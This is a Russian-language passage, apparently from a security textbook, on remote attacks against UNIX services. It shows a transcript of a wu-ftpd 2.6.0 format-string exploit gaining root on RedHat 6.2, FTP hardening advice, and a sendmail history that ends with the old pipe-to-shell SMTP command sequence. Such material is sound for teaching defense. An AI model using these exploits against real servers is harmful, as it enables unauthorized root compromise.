Часто используемые методы удаленного взлома
Вот как выглядит такая атака, примененная к системе RedHat 6.2.
[thunder]# wugod -t 192.168.1.10 -sO Target: 192.168.1.10 (ftp/<shellcode>): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm Return Address: 0x08075844, AddrRetAddr: Oxbfffb028, Shellcode: 152 loggin into system. USER ftp 331 Guest login ok, send your complete e-mail address as password. PASS <shellcode> 230-Next time please use your e-mail address as your password 230-for example: joe@thunder 230 Guest login ok, access restrictions apply. STEP 2: Skipping, magic number already exists: [87.01:03.02:01.01:02.04] STEP 3: Checking if we can reach our return address by format string STEP 4: Ptr address test: Oxbfffb028 (if it is not Oxbfffb028 ^С me now) STEP 5: Sending code., this will take about 10 seconds. Press ^\ to leave shell Linux shadow 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 1686 unknown uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
Подобная атака оказывается поистине смертельной. Анонимного доступа к уязвимому FTP-серверу, который поддерживает выполнение определенных команд, вполне достаточно, чтобы получить доступ с правами root.
Еще один изъян в системе безопасности, обнаруженный в системе BSD еще в 1993 году, связан с демоном ftpd. Его описание можно найти по адресу http://www.cert.org/advisories/CA-2000-13.html.
Хотя в данной книге этот вопрос подробно рассматриваться не будет, помните о том, что наличие подобного изъяна также может оказаться достаточно опасным.
Контрмеры: защита FTP
Хотя протокол FTP очень полезен, необходимо помнить, что разрешение анонимного доступа к FTP-серверу может весьма пагубно сказаться на "самочувствии" вашего сервера. Оцените необходимость использования FTP-сервера и определите, нужно ли предоставлять возможность анонимного доступа. В таких случаях для защиты сервера необходимо предпринять специальные меры. Очень важно установить самые последние версии модулей обновления, а также запретить или как минимум отключить количество каталогов, в которые разрешена запись всем пользователям. А лучше вовсе откажитесь от таких каталогов.
sendmail
Данная тема столь обширна, что вполне заслуживает отдельной книги. С чего же начать? Программа sendmail – это агент рассылки электронной почты (МТА – mail transfer agent), используемый во многих системах UNIX. Из всех программ UNIX sendmail, пожалуй, является самой "вредной". Она обладает очень широким набором функций, в связи с чем позволяет настраивать свои параметры самыми разными способами и является очень сложной в использовании. Фактически о первых попытках взлома sendmail стало известно еще в 1988 году и с тех пор ее использовали для получения несанкционированного доступа к нескольким тысячам систем. Одно время была даже популярной такая шутка: "Какая ошибка в sendmail признана лучшей ошибкой недели?" В течение последних лет sendmail была значительно улучшена в плане безопасности, но она по-прежнему остается очень большой программой, исходный код которой содержит более 80000 строк. Таким образом, вероятность обнаружения новых изъянов в системе зашиты по-прежнему достаточно велика.
Как вы помните из главы 3, с помощью программы sendmail, а точнее ее команд vrfy и ехрn, можно идентифицировать пользовательские учетные записи. Это само по себе представляет угрозу, однако данная угроза – ничто по сравнению с той опасностью, которую таит в себе работающая программа sendmail. За десять последних лет в sendmail были выявлены целые россыпи изъянов защиты. К сожалению, необходимо констатировать, что список ее недостатков еще далеко не полон – несмотря на столь давний срок эксплуатации, в программе постоянно обнаруживаются новые и новые проблемы. Многие из этих проблем связаны с возникновением состояния переполнения буфера при удаленном подключении, а также с возможностью взлома при отсутствии проверки ввода. Одним из самых популярных методов взлома sendmail заключался в использовании недостатка sendmail 4.1, проявляющегося при перенаправлении ввода-вывода. Суть проблемы состояла в том, что взломщик с использованием конвейера мог направить программе sendmail команды для выполнения. При этом sendmail выполняла любую команду с привилегиями, которые применялись для программ, расположенных в каталоге bin.
hello mail from: | rcpt to: bounce data mail from: bin rcpt to: | sed 4,/^$/d' | sh data